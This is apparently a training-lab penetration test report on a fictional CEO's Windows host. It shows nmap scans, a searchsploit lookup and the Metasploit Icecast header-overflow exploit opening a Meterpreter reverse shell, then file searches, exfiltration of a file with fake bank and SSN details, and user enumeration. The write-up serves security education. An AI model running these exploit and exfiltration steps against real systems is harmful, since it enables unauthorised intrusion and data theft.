GoodSecurity Penetration Test Report

sheapadilla2510@protonmail.com

April 5, 2021

1.0 High-Level Summary

GoodSecurity was tasked with performing an internal penetration test on GoodCorp's CEO, Hans Gruber. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Hans' computer and determine if it is at risk. GoodSecurity's overall objective was to exploit any vulnerable software and find the secret recipe file on Hans' computer, while reporting the findings back to GoodCorp.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Hans' desktop. When performing the attacks, GoodSecurity was able to gain access to his machine and find the secret recipe file by exploit two programs that had major vulnerabilities. The details of the attack can be found in the 'Findings' category.

2.0 Findings

Machine IP:

192.168.0.20

Hostname:

MSEDGEWIN10

```
C:\Users\IEUser>hostname
MSEDGEWIN10
```

if

Vulnerability Exploited:

Icecast Header Overwrite/Icecast HTTP Header Buffer Overflow

Vulnerability Explanation:

The Icecast application running on 192.168.0.20 allows for a buffer overflow exploit wherein an attacker can **remotely gain control of the victim's system** by overwriting the memory on the system utilizing the Icecast flaw, which writes past the end of a pointer array when receiving 32 HTTP headers.

Some remote action that can be executed are:

- File discovery and exfiltration
- Key logging and screen capture
- Privilege escalation to Administrator

The other exploits that were found in the system were:

- exploit/windows/local/keext_service
- exploit/windows/local/ms16_075_reflection

Severity:

Critical 10.0!!!

Proof of Concept:

Step 1:

Perform a service and version scan using Nmap to determine which services are up and running, however, started with the inconfig then did general Nmap on 192.168.0.0/24, then did an nmap on 192.168.0.20 and finally ran the nmap -sV -p 8000 192.168.0.20

```
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.8  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::215:5dff:fe00:400  prefixlen 64  scopeid 0x20<link>
        ether 00:15:5d:00:04:00  txqueuelen 1000  (Ethernet)
        RX packets 12741  bytes 18807682 (17.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1048  bytes 77238 (75.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 26  bytes 1438 (1.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26  bytes 1438 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

```
root@kali:~# nmap 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-31 14:08 PDT
Nmap scan report for 192.168.0.1
Host is up (0.017s latency).
Not shown: 995 filtered ports
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2179/tcp open  vmrdp
3389/tcp open  ms-wbt-server
MAC Address: 00:15:5D:0F:04:06 (Microsoft)

Nmap scan report for 192.168.0.20
Host is up (0.0090s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
MAC Address: 00:15:5D:00:04:01 (Microsoft)

Nmap scan report for 192.168.0.8
Host is up (0.0000070s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (3 hosts up) scanned in 9.60 seconds
```

```
root@kali:~# nmap 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-31 14:10 PDT
Nmap scan report for 192.168.0.20
Host is up (0.00050s latency).
Not shown: 995 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
MAC Address: 00:15:5D:00:04:01 (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
```

```
root@kali:~# nmap 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-31 14:10 PDT
Nmap scan report for 192.168.0.20
Host is up (0.0078s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
8000/tcp open  http-alt
MAC Address: 00:15:5D:00:04:01 (Microsoft)

Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds
```

```
root@kali:~# nmap -sV -p 8000 192.168.0.20
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-31 14:13 PDT
Nmap scan report for 192.168.0.20
Host is up (0.00059s latency).

PORT     STATE SERVICE VERSION
8000/tcp open  http    Icecast streaming media server
MAC Address: 00:15:5D:00:04:01 (Microsoft)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.18 seconds
```

Step 2:

From the previous screen, you can see that the Icecast service is running, therefore I ran the searchsploit icecast to search for any icecast exploits:

```
root@kali:~# searchsploit icecast
------------------------------------------------------------ ---------------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------------
Icecast 1.1.x/1.3.x - Directory Traversal                    | multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name Denial of Service      | multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' Format String         | windows/remote/20582.c
Icecast 1.x - AVLLib Buffer Overflow                         | unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Execution (1)            | windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Execution (2)            | windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)  | windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vulnerabilities            | multiple/remote/25238.txt
icecast server 1.3.12 - Directory Traversal Information Disclo | linux/remote/21602.txt
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
```

Step 3:

The next step was to start Metasploit and search for the icecast module and load it for use, I started with the msfconsole command the moved to the search icecast command and then used 0 for the exploit and checked the options.

```
msf5 > search icecast

Matching Modules
================

   #  Name                                Disclosure Date  Rank   Check  Description
   -  ----                                ---------------  ----   -----  -----------
   0  exploit/windows/http/icecast_header  2004-09-28       great  No     Icecast Header Overwrit
e
```

Step 4:

Set the RHOST to the target machine and exploited it, I started with set RHOSTS 192.168.0.20 command and followed up with the exploit command.

```
msf5 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.0.20     yes       The target host(s), range CIDR identifier, or hosts file wi
th syntax 'file:<path>'
   RPORT   8000             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf5 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] Sending stage (180291 bytes) to 192.168.0.20
[*] Meterpreter session 1 opened (192.168.0.8:4444 -> 192.168.0.20:49915) at 2021-03-31 14:28:35
-0700
```

Step 5:

Did a search for the secretfile.txt on the target by running the meterpreter > search -f *secret*

```
meterpreter > search -f *secret*

Found 8 results...
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\application\secret_agent.rb (406 bytes)
    c:\Program Files\Puppet Labs\Puppet\puppet\lib\puppet\face\secret_agent.rb (1868 bytes)
    c:\Users\IEUser\AppData\Roaming\Microsoft\Windows\Recent\user.secretfile.txt.lnk (655 bytes)
    c:\Users\IEUser\Documents\user.secretfile.txt (161 bytes)
    c:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1817.1.5\amd64_m
icrosoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1697_none_899a2eb150028d53\f\
ms-secretattributecars.ldf (50 bytes)
    c:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1817.1.5\amd64_m
icrosoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.1697_none_899a2eb150028d53\r\
ms-secretattributecars.ldf (50 bytes)
    c:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.
1697_none_899a2eb150028d53\MS-SecretAttributeCARs.LDF (1212 bytes)
    c:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.17763.
1 none 2ceb21abd64b2e5f\MS-SecretAttributeCARs.LDF (1212 bytes)
```

Step 6:

Upon completion of the previous step I downloaded the file and put it into the necessary folder. I then did an ls and found that the file had been placed where it needed to go.

```
meterpreter > download "c:\Users\IEUser\Documents\user.secretfile.txt"
[*] Downloading: c:\Users\IEUser\Documents\user.secretfile.txt -> user.secretfile.txt
[*] Downloaded 161.00 B of 161.00 B (100.0%): c:\Users\IEUser\Documents\user.secretfile.txt -> us
er.secretfile.txt
[*] download   : c:\Users\IEUser\Documents\user.secretfile.txt -> user.secretfile.txt
```

```
root@kali:~# ls
Desktop    Downloads   hack.exe  Pictures  Templates           version.txt  zenmapscan.txt
Documents  hacked.exe  Music     Public    user.secretfile.txt  Videos
root@kali:~# cat user.secretfile.txt
Bank Account Info

Chase Bank
Customer name: Charlie Tuna
Address: 123 Main St., Somewhere USA
Checking Acct#: 1292384-p1
SSN: 239-12-1111
DOB: 02/01/1974root@kali:~#
```

Step 7:

Next we searched for the receipe.txt on the target by running meterpreter > search -f *receipe*.

Step 8:

Upon competition of the previous step I downloaded the file and put it into the necessary folder. I then did an ls and found that the file had been placed when it needed to go then ran a cat to get the necessary message which was:

"Put the lime in the coconut and drink it all up!"

```
DOB: 02/01/1974root@kali:~# ls
Desktop    Drinks.recipe.txt  Music     Templates           Videos
Documents  hacked.exe         Pictures  user.secretfile.txt  zenmapscan.txt
Downloads  hack.exe           Public    version.txt
root@kali:~# cat Drinks.recipe.txt
Put the lime in the coconut and drink it all up!root@kali:~#
```

Step 9:

Finally searched for the enum file then ran a meterpreter post script that enumerated all logged on users with the

```
msf5 exploit(windows/http/icecast_header) > search enum_logged

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/windows/gather/enum_logged_on_users                   normal  No     Windows Gather Lo
gged On User Enumeration (Registry)


msf5 exploit(windows/http/icecast_header) > use 0
msf5 post(windows/gather/enum_logged_on_users) >
```

```
msf5 exploit(windows/http/icecast_header) > sessions

Active sessions
===============

  Id  Name  Type                     Information                      Connection
  --  ----  ----                     -----------                      ----------
  2         meterpreter x86/windows  MSEDGEWIN10\IEUser @ MSEDGEWIN10  192.168.0.8:4444 -> 192.16
8.0.20:49721 (192.168.0.20)

msf5 exploit(windows/http/icecast_header) > search enum_logged

Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ----                                      ---------------  ----    -----  -----------
   0  post/windows/gather/enum_logged_on_users                   normal  No     Windows Gather Lo
gged On User Enumeration (Registry)


msf5 exploit(windows/http/icecast_header) > use 0
msf5 post(windows/gather/enum_logged_on_users) > options

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
   SESSION                   yes       The session to run this module on.

msf5 post(windows/gather/enum_logged_on_users) > set SESSION 2
```

```
msf5 post(windows/gather/enum_logged_on_users) > options

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
   SESSION                   yes       The session to run this module on.

msf5 post(windows/gather/enum_logged_on_users) > set SESSION 2
SESSION => 2
msf5 post(windows/gather/enum_logged_on_users) > options

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
   SESSION  2                yes       The session to run this module on.

msf5 post(windows/gather/enum_logged_on_users) >
```

Bonus Step 3:

```
msf5 post(windows/gather/enum_logged_on_users) > exploit

[*] Running against session 2

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000  MSEDGEWIN10\IEUser


[+] Results saved in: /root/.msf4/loot/20210331145846_default_192.168.0.20_host.users.activ_72238
8.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       %systemroot%\ServiceProfiles\LocalService
 S-1-5-20                                       %systemroot%\ServiceProfiles\NetworkService
 S-1-5-21-321011808-3761883066-353627080-1000  C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003  C:\Users\sysadmin
 S-1-5-21-321011808-3761883066-353627080-1004  C:\Users\vagrant


[*] Post module execution completed
```

Bonus Step 4:

```
msf5 post(windows/gather/enum_logged_on_users) > options

Module options (post/windows/gather/enum_logged_on_users):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CURRENT  true             yes       Enumerate currently logged on users
   RECENT   true             yes       Enumerate Recently logged on users
   SESSION  2                yes       The session to run this module on.
```

Bonus Step 5:

```
msf5 post(windows/gather/enum_logged_on_users) > exploit

[*] Running against session 2

Current Logged Users
====================

 SID                                            User
 ---                                            ----
 S-1-5-21-321011808-3761883066-353627080-1000  MSEDGEWIN10\IEUser


[+] Results saved in: /root/.msf4/loot/20210331145846_default_192.168.0.20_host.users.activ_72238
8.txt

Recently Logged Users
=====================

 SID                                            Profile Path
 ---                                            ------------
 S-1-5-18                                       %systemroot%\system32\config\systemprofile
 S-1-5-19                                       %systemroot%\ServiceProfiles\LocalService
 S-1-5-20                                       %systemroot%\ServiceProfiles\NetworkService
 S-1-5-21-321011808-3761883066-353627080-1000  C:\Users\IEUser
 S-1-5-21-321011808-3761883066-353627080-1003  C:\Users\sysadmin
 S-1-5-21-321011808-3761883066-353627080-1004  C:\Users\vagrant


[*] Post module execution completed
```

3.0 Recommendations

The Icecast exploit is an old vulnerability that can be fixed with a patch by installing the latest version of this and all other software.

Would highly suggest that GoodCorp:

- Encrypt all files/folders that you want to keep a secret
- Enable windows firewall with rules to only explicitly allow traffic on needed ports.